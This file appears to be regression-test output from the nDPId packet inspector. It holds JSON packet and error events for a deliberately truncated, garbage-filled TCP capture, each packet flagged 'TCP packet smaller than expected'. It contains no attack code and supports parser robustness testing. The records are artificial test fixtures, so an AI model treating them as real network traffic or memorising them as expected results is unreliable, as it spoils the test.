-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909415} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909428} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909440} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909452} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909464} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909479} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909491} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909503} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909520} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909532} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909544} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":8636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909557} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909569} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909581} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909593} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909605} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909620} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909632} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909644} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909657} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909670} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909682} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909693} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909705} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909717} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909730} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909742} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909755} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909767} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909780} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909792} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909806} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909818} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909831} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909843} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909855} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909868} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909880} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909891} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909904} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909916} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909928} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909943} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032909955} 